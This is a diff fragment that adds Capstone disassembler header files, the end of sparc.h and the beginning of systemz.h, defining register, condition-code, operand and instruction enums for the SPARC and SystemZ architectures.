+#ifdef __cplusplus +extern "C" { +#endif + +#include "platform.h" + +// GCC SPARC toolchain has a default macro called "sparc" which breaks +// compilation +#undef sparc + +#ifdef _MSC_VER +#pragma warning(disable:4201) +#endif + +/// Enums corresponding to Sparc condition codes, both icc's and fcc's. +typedef enum sparc_cc { + SPARC_CC_INVALID = 0, ///< invalid CC (default) + // Integer condition codes + SPARC_CC_ICC_A = 8+256, ///< Always + SPARC_CC_ICC_N = 0+256, ///< Never + SPARC_CC_ICC_NE = 9+256, ///< Not Equal + SPARC_CC_ICC_E = 1+256, ///< Equal + SPARC_CC_ICC_G = 10+256, ///< Greater + SPARC_CC_ICC_LE = 2+256, ///< Less or Equal + SPARC_CC_ICC_GE = 11+256, ///< Greater or Equal + SPARC_CC_ICC_L = 3+256, ///< Less + SPARC_CC_ICC_GU = 12+256, ///< Greater Unsigned + SPARC_CC_ICC_LEU = 4+256, ///< Less or Equal Unsigned + SPARC_CC_ICC_CC = 13+256, ///< Carry Clear/Great or Equal Unsigned + SPARC_CC_ICC_CS = 5+256, ///< Carry Set/Less Unsigned + SPARC_CC_ICC_POS = 14+256, ///< Positive + SPARC_CC_ICC_NEG = 6+256, ///< Negative + SPARC_CC_ICC_VC = 15+256, ///< Overflow Clear + SPARC_CC_ICC_VS = 7+256, ///< Overflow Set + + // Floating condition codes + SPARC_CC_FCC_A = 8+16+256, ///< Always + SPARC_CC_FCC_N = 0+16+256, ///< Never + SPARC_CC_FCC_U = 7+16+256, ///< Unordered + SPARC_CC_FCC_G = 6+16+256, ///< Greater + SPARC_CC_FCC_UG = 5+16+256, ///< Unordered or Greater + SPARC_CC_FCC_L = 4+16+256, ///< Less + SPARC_CC_FCC_UL = 3+16+256, ///< Unordered or Less + SPARC_CC_FCC_LG = 2+16+256, ///< Less or Greater + SPARC_CC_FCC_NE = 1+16+256, ///< Not Equal + SPARC_CC_FCC_E = 9+16+256, ///< Equal + SPARC_CC_FCC_UE = 10+16+256, ///< Unordered or Equal + SPARC_CC_FCC_GE = 11+16+256, ///< Greater or Equal + SPARC_CC_FCC_UGE = 12+16+256, ///< Unordered or Greater or Equal + SPARC_CC_FCC_LE = 13+16+256, ///< Less or Equal + SPARC_CC_FCC_ULE = 14+16+256, ///< Unordered or Less or Equal + SPARC_CC_FCC_O = 15+16+256, ///< Ordered +} sparc_cc; + +/// Branch hint +typedef enum sparc_hint { + SPARC_HINT_INVALID = 0, ///< no hint + SPARC_HINT_A = 1 << 0, ///< annul delay slot instruction + SPARC_HINT_PT = 1 << 1, ///< branch taken + SPARC_HINT_PN = 1 << 2, ///< branch NOT taken +} sparc_hint; + +/// Operand type for instruction's operands +typedef enum sparc_op_type { + SPARC_OP_INVALID = 0, ///< = CS_OP_INVALID (Uninitialized). + SPARC_OP_REG, ///< = CS_OP_REG (Register operand). + SPARC_OP_IMM, ///< = CS_OP_IMM (Immediate operand). + SPARC_OP_MEM, ///< = CS_OP_MEM (Memory operand). +} sparc_op_type; + +/// SPARC registers +typedef enum sparc_reg { + SPARC_REG_INVALID = 0, + + SPARC_REG_F0, + SPARC_REG_F1, + SPARC_REG_F2, + SPARC_REG_F3, + SPARC_REG_F4, + SPARC_REG_F5, + SPARC_REG_F6, + SPARC_REG_F7, + SPARC_REG_F8, + SPARC_REG_F9, + SPARC_REG_F10, + SPARC_REG_F11, + SPARC_REG_F12, + SPARC_REG_F13, + SPARC_REG_F14, + SPARC_REG_F15, + SPARC_REG_F16, + SPARC_REG_F17, + SPARC_REG_F18, + SPARC_REG_F19, + SPARC_REG_F20, + SPARC_REG_F21, + SPARC_REG_F22, + SPARC_REG_F23, + SPARC_REG_F24, + SPARC_REG_F25, + SPARC_REG_F26, + SPARC_REG_F27, + SPARC_REG_F28, + SPARC_REG_F29, + SPARC_REG_F30, + SPARC_REG_F31, + SPARC_REG_F32, + SPARC_REG_F34, + SPARC_REG_F36, + SPARC_REG_F38, + SPARC_REG_F40, + SPARC_REG_F42, + SPARC_REG_F44, + SPARC_REG_F46, + SPARC_REG_F48, + SPARC_REG_F50, + SPARC_REG_F52, + SPARC_REG_F54, + SPARC_REG_F56, + SPARC_REG_F58, + SPARC_REG_F60, + SPARC_REG_F62, + SPARC_REG_FCC0, // Floating condition codes + SPARC_REG_FCC1, + SPARC_REG_FCC2, + SPARC_REG_FCC3, + SPARC_REG_FP, + SPARC_REG_G0, + SPARC_REG_G1, + SPARC_REG_G2, + SPARC_REG_G3, + SPARC_REG_G4, + SPARC_REG_G5, + SPARC_REG_G6, + SPARC_REG_G7, + SPARC_REG_I0, + SPARC_REG_I1, + SPARC_REG_I2, + SPARC_REG_I3, + SPARC_REG_I4, + SPARC_REG_I5, + SPARC_REG_I7, + SPARC_REG_ICC, // Integer condition codes + SPARC_REG_L0, + SPARC_REG_L1, + SPARC_REG_L2, + SPARC_REG_L3, + SPARC_REG_L4, + SPARC_REG_L5, + SPARC_REG_L6, + SPARC_REG_L7, + SPARC_REG_O0, + SPARC_REG_O1, + SPARC_REG_O2, + SPARC_REG_O3, + SPARC_REG_O4, + SPARC_REG_O5, + SPARC_REG_O7, + SPARC_REG_SP, + SPARC_REG_Y, + + // special register + SPARC_REG_XCC, + + SPARC_REG_ENDING, // <-- mark the end of the list of registers + + // extras + SPARC_REG_O6 = SPARC_REG_SP, + SPARC_REG_I6 = SPARC_REG_FP, +} sparc_reg; + +/// Instruction's operand referring to memory +/// This is associated with SPARC_OP_MEM operand type above +typedef struct sparc_op_mem { + uint8_t base; ///< base register, can be safely interpreted as + ///< a value of type `sparc_reg`, but it is only + ///< one byte wide + uint8_t index; ///< index register, same conditions apply here + int32_t disp; ///< displacement/offset value +} sparc_op_mem; + +/// Instruction operand +typedef struct cs_sparc_op { + sparc_op_type type; ///< operand type + union { + sparc_reg reg; ///< register value for REG operand + int64_t imm; ///< immediate value for IMM operand + sparc_op_mem mem; ///< base/disp value for MEM operand + }; +} cs_sparc_op; + +/// Instruction structure +typedef struct cs_sparc { + sparc_cc cc; ///< code condition for this insn + sparc_hint hint; ///< branch hint: encoding as bitwise OR of sparc_hint. + /// Number of operands of this instruction, + /// or 0 when instruction has no operand. + uint8_t op_count; + cs_sparc_op operands[4]; ///< operands for this instruction. +} cs_sparc; + +/// SPARC instruction +typedef enum sparc_insn { + SPARC_INS_INVALID = 0, + + SPARC_INS_ADDCC, + SPARC_INS_ADDX, + SPARC_INS_ADDXCC, + SPARC_INS_ADDXC, + SPARC_INS_ADDXCCC, + SPARC_INS_ADD, + SPARC_INS_ALIGNADDR, + SPARC_INS_ALIGNADDRL, + SPARC_INS_ANDCC, + SPARC_INS_ANDNCC, + SPARC_INS_ANDN, + SPARC_INS_AND, + SPARC_INS_ARRAY16, + SPARC_INS_ARRAY32, + SPARC_INS_ARRAY8, + SPARC_INS_B, + SPARC_INS_JMP, + SPARC_INS_BMASK, + SPARC_INS_FB, + SPARC_INS_BRGEZ, + SPARC_INS_BRGZ, + SPARC_INS_BRLEZ, + SPARC_INS_BRLZ, + SPARC_INS_BRNZ, + SPARC_INS_BRZ, + SPARC_INS_BSHUFFLE, + SPARC_INS_CALL, + SPARC_INS_CASX, + SPARC_INS_CAS, + SPARC_INS_CMASK16, + SPARC_INS_CMASK32, + SPARC_INS_CMASK8, + SPARC_INS_CMP, + SPARC_INS_EDGE16, + SPARC_INS_EDGE16L, + SPARC_INS_EDGE16LN, + SPARC_INS_EDGE16N, + SPARC_INS_EDGE32, + SPARC_INS_EDGE32L, + SPARC_INS_EDGE32LN, + SPARC_INS_EDGE32N, + SPARC_INS_EDGE8, + SPARC_INS_EDGE8L, + SPARC_INS_EDGE8LN, + SPARC_INS_EDGE8N, + SPARC_INS_FABSD, + SPARC_INS_FABSQ, + SPARC_INS_FABSS, + SPARC_INS_FADDD, + SPARC_INS_FADDQ, + SPARC_INS_FADDS, + SPARC_INS_FALIGNDATA, + SPARC_INS_FAND, + SPARC_INS_FANDNOT1, + SPARC_INS_FANDNOT1S, + SPARC_INS_FANDNOT2, + SPARC_INS_FANDNOT2S, + SPARC_INS_FANDS, + SPARC_INS_FCHKSM16, + SPARC_INS_FCMPD, + SPARC_INS_FCMPEQ16, + SPARC_INS_FCMPEQ32, + SPARC_INS_FCMPGT16, + SPARC_INS_FCMPGT32, + SPARC_INS_FCMPLE16, + SPARC_INS_FCMPLE32, + SPARC_INS_FCMPNE16, + SPARC_INS_FCMPNE32, + SPARC_INS_FCMPQ, + SPARC_INS_FCMPS, + SPARC_INS_FDIVD, + SPARC_INS_FDIVQ, + SPARC_INS_FDIVS, + SPARC_INS_FDMULQ, + SPARC_INS_FDTOI, + SPARC_INS_FDTOQ, + SPARC_INS_FDTOS, + SPARC_INS_FDTOX, + SPARC_INS_FEXPAND, + SPARC_INS_FHADDD, + SPARC_INS_FHADDS, + SPARC_INS_FHSUBD, + SPARC_INS_FHSUBS, + SPARC_INS_FITOD, + SPARC_INS_FITOQ, + SPARC_INS_FITOS, + SPARC_INS_FLCMPD, + SPARC_INS_FLCMPS, + SPARC_INS_FLUSHW, + SPARC_INS_FMEAN16, + SPARC_INS_FMOVD, + SPARC_INS_FMOVQ, + SPARC_INS_FMOVRDGEZ, + SPARC_INS_FMOVRQGEZ, + SPARC_INS_FMOVRSGEZ, + SPARC_INS_FMOVRDGZ, + SPARC_INS_FMOVRQGZ, + SPARC_INS_FMOVRSGZ, + SPARC_INS_FMOVRDLEZ, + SPARC_INS_FMOVRQLEZ, + SPARC_INS_FMOVRSLEZ, + SPARC_INS_FMOVRDLZ, + SPARC_INS_FMOVRQLZ, + SPARC_INS_FMOVRSLZ, + SPARC_INS_FMOVRDNZ, + SPARC_INS_FMOVRQNZ, + SPARC_INS_FMOVRSNZ, + SPARC_INS_FMOVRDZ, + SPARC_INS_FMOVRQZ, + SPARC_INS_FMOVRSZ, + SPARC_INS_FMOVS, + SPARC_INS_FMUL8SUX16, + SPARC_INS_FMUL8ULX16, + SPARC_INS_FMUL8X16, + SPARC_INS_FMUL8X16AL, + SPARC_INS_FMUL8X16AU, + SPARC_INS_FMULD, + SPARC_INS_FMULD8SUX16, + SPARC_INS_FMULD8ULX16, + SPARC_INS_FMULQ, + SPARC_INS_FMULS, + SPARC_INS_FNADDD, + SPARC_INS_FNADDS, + SPARC_INS_FNAND, + SPARC_INS_FNANDS, + SPARC_INS_FNEGD, + SPARC_INS_FNEGQ, + SPARC_INS_FNEGS, + SPARC_INS_FNHADDD, + SPARC_INS_FNHADDS, + SPARC_INS_FNOR, + SPARC_INS_FNORS, + SPARC_INS_FNOT1, + SPARC_INS_FNOT1S, + SPARC_INS_FNOT2, + SPARC_INS_FNOT2S, + SPARC_INS_FONE, + SPARC_INS_FONES, + SPARC_INS_FOR, + SPARC_INS_FORNOT1, + SPARC_INS_FORNOT1S, + SPARC_INS_FORNOT2, + SPARC_INS_FORNOT2S, + SPARC_INS_FORS, + SPARC_INS_FPACK16, + SPARC_INS_FPACK32, + SPARC_INS_FPACKFIX, + SPARC_INS_FPADD16, + SPARC_INS_FPADD16S, + SPARC_INS_FPADD32, + SPARC_INS_FPADD32S, + SPARC_INS_FPADD64, + SPARC_INS_FPMERGE, + SPARC_INS_FPSUB16, + SPARC_INS_FPSUB16S, + SPARC_INS_FPSUB32, + SPARC_INS_FPSUB32S, + SPARC_INS_FQTOD, + SPARC_INS_FQTOI, + SPARC_INS_FQTOS, + SPARC_INS_FQTOX, + SPARC_INS_FSLAS16, + SPARC_INS_FSLAS32, + SPARC_INS_FSLL16, + SPARC_INS_FSLL32, + SPARC_INS_FSMULD, + SPARC_INS_FSQRTD, + SPARC_INS_FSQRTQ, + SPARC_INS_FSQRTS, + SPARC_INS_FSRA16, + SPARC_INS_FSRA32, + SPARC_INS_FSRC1, + SPARC_INS_FSRC1S, + SPARC_INS_FSRC2, + SPARC_INS_FSRC2S, + SPARC_INS_FSRL16, + SPARC_INS_FSRL32, + SPARC_INS_FSTOD, + SPARC_INS_FSTOI, + SPARC_INS_FSTOQ, + SPARC_INS_FSTOX, + SPARC_INS_FSUBD, + SPARC_INS_FSUBQ, + SPARC_INS_FSUBS, + SPARC_INS_FXNOR, + SPARC_INS_FXNORS, + SPARC_INS_FXOR, + SPARC_INS_FXORS, + SPARC_INS_FXTOD, + SPARC_INS_FXTOQ, + SPARC_INS_FXTOS, + SPARC_INS_FZERO, + SPARC_INS_FZEROS, + SPARC_INS_JMPL, + SPARC_INS_LDD, + SPARC_INS_LD, + SPARC_INS_LDQ, + SPARC_INS_LDSB, + SPARC_INS_LDSH, + SPARC_INS_LDSW, + SPARC_INS_LDUB, + SPARC_INS_LDUH, + SPARC_INS_LDX, + SPARC_INS_LZCNT, + SPARC_INS_MEMBAR, + SPARC_INS_MOVDTOX, + SPARC_INS_MOV, + SPARC_INS_MOVRGEZ, + SPARC_INS_MOVRGZ, + SPARC_INS_MOVRLEZ, + SPARC_INS_MOVRLZ, + SPARC_INS_MOVRNZ, + SPARC_INS_MOVRZ, + SPARC_INS_MOVSTOSW, + SPARC_INS_MOVSTOUW, + SPARC_INS_MULX, + SPARC_INS_NOP, + SPARC_INS_ORCC, + SPARC_INS_ORNCC, + SPARC_INS_ORN, + SPARC_INS_OR, + SPARC_INS_PDIST, + SPARC_INS_PDISTN, + SPARC_INS_POPC, + SPARC_INS_RD, + SPARC_INS_RESTORE, + SPARC_INS_RETT, + SPARC_INS_SAVE, + SPARC_INS_SDIVCC, + SPARC_INS_SDIVX, + SPARC_INS_SDIV, + SPARC_INS_SETHI, + SPARC_INS_SHUTDOWN, + SPARC_INS_SIAM, + SPARC_INS_SLLX, + SPARC_INS_SLL, + SPARC_INS_SMULCC, + SPARC_INS_SMUL, + SPARC_INS_SRAX, + SPARC_INS_SRA, + SPARC_INS_SRLX, + SPARC_INS_SRL, + SPARC_INS_STBAR, + SPARC_INS_STB, + SPARC_INS_STD, + SPARC_INS_ST, + SPARC_INS_STH, + SPARC_INS_STQ, + SPARC_INS_STX, + SPARC_INS_SUBCC, + SPARC_INS_SUBX, + SPARC_INS_SUBXCC, + SPARC_INS_SUB, + SPARC_INS_SWAP, + SPARC_INS_TADDCCTV, + SPARC_INS_TADDCC, + SPARC_INS_T, + SPARC_INS_TSUBCCTV, + SPARC_INS_TSUBCC, + SPARC_INS_UDIVCC, + SPARC_INS_UDIVX, + SPARC_INS_UDIV, + SPARC_INS_UMULCC, + SPARC_INS_UMULXHI, + SPARC_INS_UMUL, + SPARC_INS_UNIMP, + SPARC_INS_FCMPED, + SPARC_INS_FCMPEQ, + SPARC_INS_FCMPES, + SPARC_INS_WR, + SPARC_INS_XMULX, + SPARC_INS_XMULXHI, + SPARC_INS_XNORCC, + SPARC_INS_XNOR, + SPARC_INS_XORCC, + SPARC_INS_XOR, + + // alias instructions + SPARC_INS_RET, + SPARC_INS_RETL, + + SPARC_INS_ENDING, // <-- mark the end of the list of instructions +} sparc_insn; + +/// Group of SPARC instructions +typedef enum sparc_insn_group { + SPARC_GRP_INVALID = 0, ///< = CS_GRP_INVALID + + // Generic groups + // all jump instructions (conditional+direct+indirect jumps) + SPARC_GRP_JUMP, ///< = CS_GRP_JUMP + + // Architecture-specific groups + SPARC_GRP_HARDQUAD = 128, + SPARC_GRP_V9, + SPARC_GRP_VIS, + SPARC_GRP_VIS2, + SPARC_GRP_VIS3, + SPARC_GRP_32BIT, + SPARC_GRP_64BIT, + + SPARC_GRP_ENDING, // <-- mark the end of the list of groups +} sparc_insn_group; + +#ifdef __cplusplus +} +#endif + +#endif diff --git a/ai_anti_malware/capstone/include/capstone/systemz.h b/ai_anti_malware/capstone/include/capstone/systemz.h new file mode 100644 index 0000000..aa9768c --- /dev/null +++ b/ai_anti_malware/capstone/include/capstone/systemz.h @@ -0,0 +1,830 @@ +#ifndef CAPSTONE_SYSTEMZ_H +#define CAPSTONE_SYSTEMZ_H + +/* Capstone Disassembly Engine */ +/* By Nguyen Anh Quynh , 2014-2015 */ + +#ifdef __cplusplus +extern "C" { +#endif + +#include "platform.h" + +#ifdef _MSC_VER +#pragma warning(disable:4201) +#endif + +/// Enums corresponding to SystemZ condition codes +typedef enum sysz_cc { + SYSZ_CC_INVALID = 0, ///< invalid CC (default) + + SYSZ_CC_O, + SYSZ_CC_H, + SYSZ_CC_NLE, + SYSZ_CC_L, + SYSZ_CC_NHE, + SYSZ_CC_LH, + SYSZ_CC_NE, + SYSZ_CC_E, + SYSZ_CC_NLH, + SYSZ_CC_HE, + SYSZ_CC_NL, + SYSZ_CC_LE, + SYSZ_CC_NH, + SYSZ_CC_NO, +} sysz_cc; + +/// Operand type for instruction's operands +typedef enum sysz_op_type { + SYSZ_OP_INVALID = 0, ///< = CS_OP_INVALID (Uninitialized). + SYSZ_OP_REG, ///< = CS_OP_REG (Register operand). + SYSZ_OP_IMM, ///< = CS_OP_IMM (Immediate operand). + SYSZ_OP_MEM, ///< = CS_OP_MEM (Memory operand). + SYSZ_OP_ACREG = 64, ///< Access register operand. +} sysz_op_type; + +/// SystemZ registers +typedef enum sysz_reg { + SYSZ_REG_INVALID = 0, + + SYSZ_REG_0, + SYSZ_REG_1, + SYSZ_REG_2, + SYSZ_REG_3, + SYSZ_REG_4, + SYSZ_REG_5, + SYSZ_REG_6, + SYSZ_REG_7, + SYSZ_REG_8, + SYSZ_REG_9, + SYSZ_REG_10, + SYSZ_REG_11, + SYSZ_REG_12, + SYSZ_REG_13, + SYSZ_REG_14, + SYSZ_REG_15, + SYSZ_REG_CC, + SYSZ_REG_F0, + SYSZ_REG_F1, + SYSZ_REG_F2, + SYSZ_REG_F3, + SYSZ_REG_F4, + SYSZ_REG_F5, + SYSZ_REG_F6, + SYSZ_REG_F7, + SYSZ_REG_F8, + SYSZ_REG_F9, + SYSZ_REG_F10, + SYSZ_REG_F11, + SYSZ_REG_F12, + SYSZ_REG_F13, + SYSZ_REG_F14, + SYSZ_REG_F15, + + SYSZ_REG_R0L, + + SYSZ_REG_ENDING, +} sysz_reg; + +/// Instruction's operand referring to memory +/// This is associated with SYSZ_OP_MEM operand type above +typedef struct sysz_op_mem { + uint8_t base; ///< base register, can be safely interpreted as + ///< a value of type `sysz_reg`, but it is only + ///< one byte wide + uint8_t index; ///< index register, same conditions apply here + uint64_t length; ///< BDLAddr operand + int64_t disp; ///< displacement/offset value +} sysz_op_mem; + +/// Instruction operand +typedef struct cs_sysz_op { + sysz_op_type type; ///< operand type + union { + sysz_reg reg; ///< register value for REG operand + int64_t imm; ///< immediate value for IMM operand + sysz_op_mem mem; ///< base/disp value for MEM operand + }; +} cs_sysz_op; + +// Instruction structure +typedef struct cs_sysz { + sysz_cc cc; ///< Code condition + /// Number of operands of this instruction, + /// or 0 when instruction has no operand. + uint8_t op_count; + cs_sysz_op operands[6]; ///< operands for this instruction. +} cs_sysz; + +/// SystemZ instruction +typedef enum sysz_insn { + SYSZ_INS_INVALID = 0, + + SYSZ_INS_A, + SYSZ_INS_ADB, + SYSZ_INS_ADBR, + SYSZ_INS_AEB, + SYSZ_INS_AEBR, + SYSZ_INS_AFI, + SYSZ_INS_AG, + SYSZ_INS_AGF, + SYSZ_INS_AGFI, + SYSZ_INS_AGFR, + SYSZ_INS_AGHI, + SYSZ_INS_AGHIK, + SYSZ_INS_AGR, + SYSZ_INS_AGRK, + SYSZ_INS_AGSI, + SYSZ_INS_AH, + SYSZ_INS_AHI, + SYSZ_INS_AHIK, + SYSZ_INS_AHY, + SYSZ_INS_AIH, + SYSZ_INS_AL, + SYSZ_INS_ALC, + SYSZ_INS_ALCG, + SYSZ_INS_ALCGR, + SYSZ_INS_ALCR, + SYSZ_INS_ALFI, + SYSZ_INS_ALG, + SYSZ_INS_ALGF, + SYSZ_INS_ALGFI, + SYSZ_INS_ALGFR, + SYSZ_INS_ALGHSIK, + SYSZ_INS_ALGR, + SYSZ_INS_ALGRK, + SYSZ_INS_ALHSIK, + SYSZ_INS_ALR, + SYSZ_INS_ALRK, + SYSZ_INS_ALY, + SYSZ_INS_AR, + SYSZ_INS_ARK, + SYSZ_INS_ASI, + SYSZ_INS_AXBR, + SYSZ_INS_AY, + SYSZ_INS_BCR, + SYSZ_INS_BRC, + SYSZ_INS_BRCL, + SYSZ_INS_CGIJ, + SYSZ_INS_CGRJ, + SYSZ_INS_CIJ, + SYSZ_INS_CLGIJ, + SYSZ_INS_CLGRJ, + SYSZ_INS_CLIJ, + SYSZ_INS_CLRJ, + SYSZ_INS_CRJ, + SYSZ_INS_BER, + SYSZ_INS_JE, + SYSZ_INS_JGE, + SYSZ_INS_LOCE, + SYSZ_INS_LOCGE, + SYSZ_INS_LOCGRE, + SYSZ_INS_LOCRE, + SYSZ_INS_STOCE, + SYSZ_INS_STOCGE, + SYSZ_INS_BHR, + SYSZ_INS_BHER, + SYSZ_INS_JHE, + SYSZ_INS_JGHE, + SYSZ_INS_LOCHE, + SYSZ_INS_LOCGHE, + SYSZ_INS_LOCGRHE, + SYSZ_INS_LOCRHE, + SYSZ_INS_STOCHE, + SYSZ_INS_STOCGHE, + SYSZ_INS_JH, + SYSZ_INS_JGH, + SYSZ_INS_LOCH, + SYSZ_INS_LOCGH, + SYSZ_INS_LOCGRH, + SYSZ_INS_LOCRH, + SYSZ_INS_STOCH, + SYSZ_INS_STOCGH, + SYSZ_INS_CGIJNLH, + SYSZ_INS_CGRJNLH, + SYSZ_INS_CIJNLH, + SYSZ_INS_CLGIJNLH, + SYSZ_INS_CLGRJNLH, + SYSZ_INS_CLIJNLH, + SYSZ_INS_CLRJNLH, + SYSZ_INS_CRJNLH, + SYSZ_INS_CGIJE, + SYSZ_INS_CGRJE, + SYSZ_INS_CIJE, + SYSZ_INS_CLGIJE, + SYSZ_INS_CLGRJE, + SYSZ_INS_CLIJE, + SYSZ_INS_CLRJE, + SYSZ_INS_CRJE, + SYSZ_INS_CGIJNLE, + SYSZ_INS_CGRJNLE, + SYSZ_INS_CIJNLE, + SYSZ_INS_CLGIJNLE, + SYSZ_INS_CLGRJNLE, + SYSZ_INS_CLIJNLE, + SYSZ_INS_CLRJNLE, + SYSZ_INS_CRJNLE, + SYSZ_INS_CGIJH, + SYSZ_INS_CGRJH, + SYSZ_INS_CIJH, + SYSZ_INS_CLGIJH, + SYSZ_INS_CLGRJH, + SYSZ_INS_CLIJH, + SYSZ_INS_CLRJH, + SYSZ_INS_CRJH, + SYSZ_INS_CGIJNL, + SYSZ_INS_CGRJNL, + SYSZ_INS_CIJNL, + SYSZ_INS_CLGIJNL, + SYSZ_INS_CLGRJNL, + SYSZ_INS_CLIJNL, + SYSZ_INS_CLRJNL, + SYSZ_INS_CRJNL, + SYSZ_INS_CGIJHE, + SYSZ_INS_CGRJHE, + SYSZ_INS_CIJHE, + SYSZ_INS_CLGIJHE, + SYSZ_INS_CLGRJHE, + SYSZ_INS_CLIJHE, + SYSZ_INS_CLRJHE, + SYSZ_INS_CRJHE, + SYSZ_INS_CGIJNHE, + SYSZ_INS_CGRJNHE, + SYSZ_INS_CIJNHE, + SYSZ_INS_CLGIJNHE, + SYSZ_INS_CLGRJNHE, + SYSZ_INS_CLIJNHE, + SYSZ_INS_CLRJNHE, + SYSZ_INS_CRJNHE, + SYSZ_INS_CGIJL, + SYSZ_INS_CGRJL, + SYSZ_INS_CIJL, + SYSZ_INS_CLGIJL, + SYSZ_INS_CLGRJL, + SYSZ_INS_CLIJL, + SYSZ_INS_CLRJL, + SYSZ_INS_CRJL, + SYSZ_INS_CGIJNH, + SYSZ_INS_CGRJNH, + SYSZ_INS_CIJNH, + SYSZ_INS_CLGIJNH, + SYSZ_INS_CLGRJNH, + SYSZ_INS_CLIJNH, + SYSZ_INS_CLRJNH, + SYSZ_INS_CRJNH, + SYSZ_INS_CGIJLE, + SYSZ_INS_CGRJLE, + SYSZ_INS_CIJLE, + SYSZ_INS_CLGIJLE, + SYSZ_INS_CLGRJLE, + SYSZ_INS_CLIJLE, + SYSZ_INS_CLRJLE, + SYSZ_INS_CRJLE, + SYSZ_INS_CGIJNE, + SYSZ_INS_CGRJNE, + SYSZ_INS_CIJNE, + SYSZ_INS_CLGIJNE, + SYSZ_INS_CLGRJNE, + SYSZ_INS_CLIJNE, + SYSZ_INS_CLRJNE, + SYSZ_INS_CRJNE, + SYSZ_INS_CGIJLH, + SYSZ_INS_CGRJLH, + SYSZ_INS_CIJLH, + SYSZ_INS_CLGIJLH, + SYSZ_INS_CLGRJLH, + SYSZ_INS_CLIJLH, + SYSZ_INS_CLRJLH, + SYSZ_INS_CRJLH, + SYSZ_INS_BLR, + SYSZ_INS_BLER, + SYSZ_INS_JLE, + SYSZ_INS_JGLE, + SYSZ_INS_LOCLE, + SYSZ_INS_LOCGLE, + SYSZ_INS_LOCGRLE, + SYSZ_INS_LOCRLE, + SYSZ_INS_STOCLE, + SYSZ_INS_STOCGLE, + SYSZ_INS_BLHR, + SYSZ_INS_JLH, + SYSZ_INS_JGLH, + SYSZ_INS_LOCLH, + SYSZ_INS_LOCGLH, + SYSZ_INS_LOCGRLH, + SYSZ_INS_LOCRLH, + SYSZ_INS_STOCLH, + SYSZ_INS_STOCGLH, + SYSZ_INS_JL, + SYSZ_INS_JGL, + SYSZ_INS_LOCL, + SYSZ_INS_LOCGL, + SYSZ_INS_LOCGRL, + SYSZ_INS_LOCRL, + SYSZ_INS_LOC, + SYSZ_INS_LOCG, + SYSZ_INS_LOCGR, + SYSZ_INS_LOCR, + SYSZ_INS_STOCL, + SYSZ_INS_STOCGL, + SYSZ_INS_BNER, + SYSZ_INS_JNE, + SYSZ_INS_JGNE, + SYSZ_INS_LOCNE, + SYSZ_INS_LOCGNE, + SYSZ_INS_LOCGRNE, + SYSZ_INS_LOCRNE, + SYSZ_INS_STOCNE, + SYSZ_INS_STOCGNE, + SYSZ_INS_BNHR, + SYSZ_INS_BNHER, + SYSZ_INS_JNHE, + SYSZ_INS_JGNHE, + SYSZ_INS_LOCNHE, + SYSZ_INS_LOCGNHE, + SYSZ_INS_LOCGRNHE, + SYSZ_INS_LOCRNHE, + SYSZ_INS_STOCNHE, + SYSZ_INS_STOCGNHE, + SYSZ_INS_JNH, + SYSZ_INS_JGNH, + SYSZ_INS_LOCNH, + SYSZ_INS_LOCGNH, + SYSZ_INS_LOCGRNH, + SYSZ_INS_LOCRNH, + SYSZ_INS_STOCNH, + SYSZ_INS_STOCGNH, + SYSZ_INS_BNLR, + SYSZ_INS_BNLER, + SYSZ_INS_JNLE, + SYSZ_INS_JGNLE, + SYSZ_INS_LOCNLE, + SYSZ_INS_LOCGNLE, + SYSZ_INS_LOCGRNLE, + SYSZ_INS_LOCRNLE, + SYSZ_INS_STOCNLE, + SYSZ_INS_STOCGNLE, + SYSZ_INS_BNLHR, + SYSZ_INS_JNLH, + SYSZ_INS_JGNLH, + SYSZ_INS_LOCNLH, + SYSZ_INS_LOCGNLH, + SYSZ_INS_LOCGRNLH, + SYSZ_INS_LOCRNLH, + SYSZ_INS_STOCNLH, + SYSZ_INS_STOCGNLH, + SYSZ_INS_JNL, + SYSZ_INS_JGNL, + SYSZ_INS_LOCNL, + SYSZ_INS_LOCGNL, + SYSZ_INS_LOCGRNL, + SYSZ_INS_LOCRNL, + SYSZ_INS_STOCNL, + SYSZ_INS_STOCGNL, + SYSZ_INS_BNOR, + SYSZ_INS_JNO, + SYSZ_INS_JGNO, + SYSZ_INS_LOCNO, + SYSZ_INS_LOCGNO, + SYSZ_INS_LOCGRNO, + SYSZ_INS_LOCRNO, + SYSZ_INS_STOCNO, + SYSZ_INS_STOCGNO, + SYSZ_INS_BOR, + SYSZ_INS_JO, + SYSZ_INS_JGO, + SYSZ_INS_LOCO, + SYSZ_INS_LOCGO, + SYSZ_INS_LOCGRO, + SYSZ_INS_LOCRO, + SYSZ_INS_STOCO, + SYSZ_INS_STOCGO, + SYSZ_INS_STOC, + SYSZ_INS_STOCG, + SYSZ_INS_BASR, + SYSZ_INS_BR, + SYSZ_INS_BRAS, + SYSZ_INS_BRASL, + SYSZ_INS_J, + SYSZ_INS_JG, + SYSZ_INS_BRCT, + SYSZ_INS_BRCTG, + SYSZ_INS_C, + SYSZ_INS_CDB, + SYSZ_INS_CDBR, + SYSZ_INS_CDFBR, + SYSZ_INS_CDGBR, + SYSZ_INS_CDLFBR, + SYSZ_INS_CDLGBR, + SYSZ_INS_CEB, + SYSZ_INS_CEBR, + SYSZ_INS_CEFBR, + SYSZ_INS_CEGBR, + SYSZ_INS_CELFBR, + SYSZ_INS_CELGBR, + SYSZ_INS_CFDBR, + SYSZ_INS_CFEBR, + SYSZ_INS_CFI, + SYSZ_INS_CFXBR, + SYSZ_INS_CG, + SYSZ_INS_CGDBR, + SYSZ_INS_CGEBR, + SYSZ_INS_CGF, + SYSZ_INS_CGFI, + SYSZ_INS_CGFR, + SYSZ_INS_CGFRL, + SYSZ_INS_CGH, + SYSZ_INS_CGHI, + SYSZ_INS_CGHRL, + SYSZ_INS_CGHSI, + SYSZ_INS_CGR, + SYSZ_INS_CGRL, + SYSZ_INS_CGXBR, + SYSZ_INS_CH, + SYSZ_INS_CHF, + SYSZ_INS_CHHSI, + SYSZ_INS_CHI, + SYSZ_INS_CHRL, + SYSZ_INS_CHSI, + SYSZ_INS_CHY, + SYSZ_INS_CIH, + SYSZ_INS_CL, + SYSZ_INS_CLC, + SYSZ_INS_CLFDBR, + SYSZ_INS_CLFEBR, + SYSZ_INS_CLFHSI, + SYSZ_INS_CLFI, + SYSZ_INS_CLFXBR, + SYSZ_INS_CLG, + SYSZ_INS_CLGDBR, + SYSZ_INS_CLGEBR, + SYSZ_INS_CLGF, + SYSZ_INS_CLGFI, + SYSZ_INS_CLGFR, + SYSZ_INS_CLGFRL, + SYSZ_INS_CLGHRL, + SYSZ_INS_CLGHSI, + 